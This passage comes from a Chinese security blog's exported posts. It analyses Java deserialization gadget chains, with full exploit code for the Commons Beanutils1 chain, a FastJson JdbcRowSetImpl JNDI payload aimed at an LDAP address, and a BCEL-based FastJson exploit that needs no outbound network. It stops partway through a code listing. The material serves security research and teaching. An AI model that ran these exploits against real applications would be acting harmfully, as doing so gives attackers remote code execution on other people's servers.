class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 构建一个具有指定操作系统和参数的进程构建器。</span></span><br><span class="line"><span class="comment"> * 系统程序和参数。 这是一个方便的</span></span><br><span class="line"><span class="comment"> * 构建器,它将进程构建器的命令设置为一个字符串</span></span><br><span class="line"><span class="comment"> * 包含与{<span class="doctag">@code</span> command}相同的字符串的列表。</span></span><br><span class="line"><span class="comment"> * 数组,顺序相同。 它并不检查是否</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@code</span> command}是否对应于一个有效的操作系统</span></span><br><span class="line"><span class="comment"> * 命令。</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> command 一个包含程序及其参数的字符串数组</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_">ProcessBuilder</span><span class="params">(String... command)</span> {</span><br><span class="line"> <span class="built_in">this</span>.command = <span class="keyword">new</span> <span class="title class_">ArrayList</span><>(command.length);</span><br><span class="line"> <span class="keyword">for</span> (String arg : command)</span><br><span class="line"> <span class="built_in">this</span>.command.add(arg);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>如果传入参数是字符串数组,参数不会被 <code>StringTokenizer</code> 影响</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.nio.charset.Charset;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RuntimeExec</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> String[] cmd = {<span class="string">"/bin/sh"</span>, <span class="string">"-c"</span>, <span class="string">"echo 111 > 3.txt"</span>};</span><br><span class="line"> process = Runtime.getRuntime().exec(cmd);</span><br><span class="line"> <span class="type">BufferedReader</span> <span class="variable">br</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(process.getInputStream(), Charset.forName(<span class="string">"gbk"</span>)));</span><br><span class="line"> <span class="type">String</span> <span class="variable">line</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">while</span> ((line = br.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> System.out.println(line);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>Commons Beanutils1</title>
<link href="/2022/11/23/Commons%20Beanutils1/"/>
<url>/2022/11/23/Commons%20Beanutils1/</url>
<content type="html"><![CDATA[<h2 id="apache-commons-beanutils"><a class="markdownIt-Anchor" href="#apache-commons-beanutils">#</a> Apache Commons Beanutils</h2><p>Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对<br>象(也称为 JavaBean)的一些操作方法。</p><p>demo</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">final</span> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cat</span> {</span><br><span class="line"><span class="keyword">private</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">"catalina"</span>;</span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> {</span><br><span class="line"><span class="keyword">return</span> name;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> {</span><br><span class="line"><span class="built_in">this</span>.name = name;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>包含私有属性 <code>name</code> ,两个方法,一个读取一个设置<br> <code>getxxx</code> -> <code>getter</code> , <code>setxxx</code> -> <code>setter</code> ,全名符合骆驼式命名法</p><p>其中 <code>commons-beanutils</code> 中提供了一个静态方法 <code>PropertyUtils.getProperty</code> ,让使用者可以直接调用任<br>意 JavaBean 的 getter 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PropertyUtils.getProperty(<span class="keyword">new</span> <span class="title class_">Cat</span>(), <span class="string">"name"</span>);</span><br></pre></td></tr></table></figure><p><code>commons-beanutils</code> 还会自动调用 <code>name</code> 属性的 <code>getter</code> 方法。<br> <code>PropertyUtils.getProperty</code> 还支持递归获取属性<br>例如 <code>a</code> 对象中有 <code>b</code> 属性, <code>b</code> 中有 <code>c</code> ,那就可以通过 <code>PropertyUtils.getProperty(a, "b.c");</code> 递归获取对象。</p><p>来看下 <code>org.apache.commons.beanutils.BeanComparator</code> 下的 <code>compare</code> 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">compare</span><span class="params">( T o1, T o2 )</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( property == <span class="literal">null</span> ) {</span><br><span class="line"> <span class="comment">// compare the actual objects</span></span><br><span class="line"> <span class="keyword">return</span> internalCompare( o1, o2 );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">value1</span> <span class="operator">=</span> PropertyUtils.getProperty( o1, property );</span><br><span class="line"> <span class="type">Object</span> <span class="variable">value2</span> <span class="operator">=</span> PropertyUtils.getProperty( o2, property );</span><br><span class="line"> <span class="keyword">return</span> internalCompare( value1, value2 );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> ( IllegalAccessException iae ) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>( <span class="string">"IllegalAccessException: "</span> + iae.toString() );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> ( InvocationTargetException ite ) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>( <span class="string">"InvocationTargetException: "</span> + ite.toString() );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> ( NoSuchMethodException nsme ) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>( <span class="string">"NoSuchMethodException: "</span> + nsme.toString() );</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221513089.png" alt="在这里插入图片描述"></p><p>而 <code>TemplatesImpl#newTransformer()</code> 的上一层调用方法 <code>getOutputProperties()</code> 是 <code>get</code> 开头,符合 <code>getter</code> <br> 定义</p><p>对<a href="https://blog.csdn.net/m0_52367015/article/details/126101980?spm=1001.2014.3001.5501"> TemplatesImpl</a> 忘记流程的可以看下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.ki10MOc;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CommonsBeanutils1</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="comment">//TemplatesImpl部分</span></span><br><span class="line"> <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">"H:\\Code\\JavaSecurityCode\\CommonsBeanutils1\\target\\classes\\evil\\EvilTemplatesImpl.class"</span>));</span><br><span class="line"> <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line"> setFieldValue(templates, <span class="string">"_name"</span>, <span class="string">"ki10Moc"</span>);</span><br><span class="line"> setFieldValue(templates, <span class="string">"_tfactory"</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"> setFieldValue(templates, <span class="string">"_bytecodes"</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]{code});</span><br><span class="line"><span class="comment">// templates.newTransformer();</span></span><br><span class="line"> <span class="keyword">final</span> <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>();</span><br><span class="line"> <span class="keyword">final</span> PriorityQueue<Object> queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span><Object>(<span class="number">2</span>,</span><br><span class="line"> comparator);</span><br><span class="line"><span class="comment">// stub data for replacement later</span></span><br><span class="line"> queue.add(<span class="number">1</span>);</span><br><span class="line"> queue.add(<span class="number">1</span>);</span><br><span class="line"> setFieldValue(comparator, <span class="string">"property"</span>, <span class="string">"outputProperties"</span>);</span><br><span class="line"> setFieldValue(queue, <span class="string">"queue"</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]{templates, templates});</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr);</span><br><span class="line"> oos.writeObject(queue);</span><br><span class="line"> oos.close();</span><br><span class="line"> System.out.println(barr);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span></span><br><span class="line"> <span class="title class_">ByteArrayInputStream</span>(barr.toByteArray()));</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> (Object)ois.readObject();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">//setFieldValue利用反射给私有变量赋值</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(fieldName);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> field.set(obj, value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221513162.png" alt="在这里插入图片描述"></p><h2 id="省流"><a class="markdownIt-Anchor" href="#省流">#</a> 省流</h2><p>如果你了解 <code>TemplatesImpl</code> 和 <code>CC2</code> 的流程<br>前面的就都不用看了<br>只需要知道在 <code>TemplatesImpl</code> 中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">TemplatesImpl#getOutputProperties() -> </span><br><span class="line">TemplatesImpl#newTransformer() -></span><br><span class="line">TemplatesImpl#getTransletInstance() -></span><br><span class="line">TemplatesImpl#defineTransletClasses() -></span><br><span class="line">TransletClassLoader#defineClass()</span><br></pre></td></tr></table></figure><p>最开始的方法 <code>getOutputProperties</code> 是以 <code>get</code> 开头,<br>而在 <code>JavaBean</code> 中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">final</span> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cat</span> {</span><br><span class="line"><span class="keyword">private</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">"catalina"</span>;</span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> {</span><br><span class="line"><span class="keyword">return</span> name;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> {</span><br><span class="line"><span class="built_in">this</span>.name = name;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter<br> 的方法名以 get 开头即 <code>getter</code> 方法</p><p>commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任<br>意 JavaBean 的 getter 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PropertyUtils.getProperty(<span class="keyword">new</span> <span class="title class_">Cat</span>(), <span class="string">"name"</span>);</span><br></pre></td></tr></table></figure><p>两者结合起来即将 <code>property</code> 的值为 <code>outputProperties</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PropertyUtils.getProperty( o1, outputProperties);</span><br></pre></td></tr></table></figure><p>就可以触发后面的任意代码了</p><p>写法没有什么奇特的</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>FastJson不出网利用</title>
<link href="/2022/11/14/FastJson%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/"/>
<url>/2022/11/14/FastJson%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/</url>
<content type="html"><![CDATA[<h4 id="本文首发于奇安信攻防社区奇安信攻防社区-浅析fastjson不出网利用方式-butiannet"><a class="markdownIt-Anchor" href="#本文首发于奇安信攻防社区奇安信攻防社区-浅析fastjson不出网利用方式-butiannet">#</a> 本文首发于 [奇安信攻防社区](<a href="https://forum.butian.net/share/2040">奇安信攻防社区 - 浅析 FastJson 不出网利用方式 (butian.net)</a>)</h4><h2 id="0x01-jndi利用"><a class="markdownIt-Anchor" href="#0x01-jndi利用">#</a> 0x01 JNDI 利用</h2><p>JdbcRowSetImpl 中存在的 JNDI 注入</p><p><img src="https://img-blog.csdnimg.cn/93eaa2726d884ec6a5b8dfb72e59a49a.png" alt="在这里插入图片描述"></p><p>这里考虑 setAutoCommit</p><p><img src="https://img-blog.csdnimg.cn/4b9c50f76fe841879af122aaa18b491d.png" alt="在这里插入图片描述"></p><p>是个 set 方法</p><p>参数是布尔类型的</p><p><img src="https://img-blog.csdnimg.cn/331bf53417bb42e2a852350d9642db16.png" alt="在这里插入图片描述"></p><p>使用 Yakit 生成一个反连</p><p><img src="https://img-blog.csdnimg.cn/38b219d420654f538eb772a7cb5d9d9b.png" alt="在这里插入图片描述"></p><p>构造 EXP</p><p>首先类名是 <code>com.sun.rowset.JdbcRowSetImpl</code> 也就是 <code>@type</code> 的值</p><p>接着是 <code>.lookup</code> 的参数 <code>DataSourceName</code> 也就是 rmi 或 ldap 的地址</p><p>最后是 <code>AutoCommit</code> 布尔型的参数</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonJdbcRowSetImpl</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}"</span>;</span><br><span class="line"> JSON.parseObject(s);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/888b395807634ba88d2f329ff055a537.png" alt="在这里插入图片描述"></p><p>但是这种利用方式是需要出网的,并且有版本、依赖限制</p><p>下面来看一个可以本地利用的</p><h2 id="0x02-不出网利用"><a class="markdownIt-Anchor" href="#0x02-不出网利用">#</a> 0x02 不出网利用</h2><p>fastjson≤1.2.24</p><p>条件: <code>BasicDataSource</code> 只需要有 <code>dbcp</code> 或 <code>tomcat-dbcp</code> 的依赖即可,dbcp 即数据库连接池,在 java 中用于管理数据库连接,还是挺常见的。</p><p>在 <code>ClassLoader</code> 存在一处 <code>loadclass</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> Class <span class="title function_">loadClass</span><span class="params">(String class_name, <span class="type">boolean</span> resolve)</span></span><br><span class="line"> <span class="keyword">throws</span> ClassNotFoundException</span><br><span class="line"> {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">cl</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* First try: lookup hash table.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span>((cl=(Class)classes.get(class_name)) == <span class="literal">null</span>) {</span><br><span class="line"> <span class="comment">/* Second try: Load system class using system class loader. You better</span></span><br><span class="line"><span class="comment"> * don't mess around with them.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i < ignored_packages.length; i++) {</span><br><span class="line"> <span class="keyword">if</span>(class_name.startsWith(ignored_packages[i])) {</span><br><span class="line"> cl = deferTo.loadClass(class_name);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(cl == <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">JavaClass</span> <span class="variable">clazz</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Third try: Special request?</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span>(class_name.indexOf(<span class="string">"$$BCEL$$"</span>) >= <span class="number">0</span>)</span><br><span class="line"> clazz = createClass(class_name);</span><br><span class="line"> <span class="keyword">else</span> { <span class="comment">// Fourth try: Load classes via repository</span></span><br><span class="line"> <span class="keyword">if</span> ((clazz = repository.loadClass(class_name)) != <span class="literal">null</span>) {</span><br><span class="line"> clazz = modifyClass(clazz);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ClassNotFoundException</span>(class_name);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(clazz != <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">byte</span>[] bytes = clazz.getBytes();</span><br><span class="line"> cl = defineClass(class_name, bytes, <span class="number">0</span>, bytes.length);</span><br><span class="line"> } <span class="keyword">else</span> <span class="comment">// Fourth try: Use default class loader</span></span><br><span class="line"> cl = Class.forName(class_name);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(resolve)</span><br><span class="line"> resolveClass(cl);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> classes.put(class_name, cl);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> cl;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>当类名是以 <code>$$BCEL$$</code> 开头,就会创建一个该类,并用 definclass 去调用</p><p>BCEL 提供两个类, <code>Repository</code> 和 <code>Utility</code></p><p><code>Repository</code> 用于将一个 <code>Java Class</code> 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码</p><p><code>Utility</code> 用于将原生的字节码转换成 BCEL 格式的字节码</p><p>其中 <code>createClass</code> 方法中</p><p><img src="https://img-blog.csdnimg.cn/2dbcf13ac47149a0ab2a58d224e30927.png" alt="在这里插入图片描述"></p><p>有一处解密,所以我们需要加密一下</p><p>exp</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.Repository;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.classfile.JavaClass;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.classfile.Utility;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span> kilo、冰室/ki10Moc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2022/11/7</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 14:30</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span> http://ki10.top</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonBcel</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {</span><br><span class="line"> <span class="type">JavaClass</span> <span class="variable">javaClass</span> <span class="operator">=</span> Repository.lookupClass(Evil.class);</span><br><span class="line"> <span class="type">String</span> <span class="variable">encode</span> <span class="operator">=</span> Utility.encode(javaClass.getBytes(), <span class="literal">true</span>);</span><br><span class="line"> System.out.println(encode);</span><br><span class="line"> Class.forName(<span class="string">"$$BCEL$$"</span> + encode, <span class="literal">true</span>, <span class="keyword">new</span> <span class="title class_">ClassLoader</span>());</span><br><span class="line"> <span class="comment">// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-利用链"><a class="markdownIt-Anchor" href="#0x03-利用链">#</a> 0x03 利用链</h2><p>这次我们尝试以漏洞发现者的身份来看这条链子</p><p>首先是 <code>org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> ConnectionFactory <span class="title function_">createConnectionFactory</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="comment">// Load the JDBC driver class</span></span><br><span class="line"> <span class="type">Driver</span> <span class="variable">driverToUse</span> <span class="operator">=</span> <span class="built_in">this</span>.driver;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (driverToUse == <span class="literal">null</span>) {</span><br><span class="line"> Class<?> driverFromCCL = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">if</span> (driverClassName != <span class="literal">null</span>) 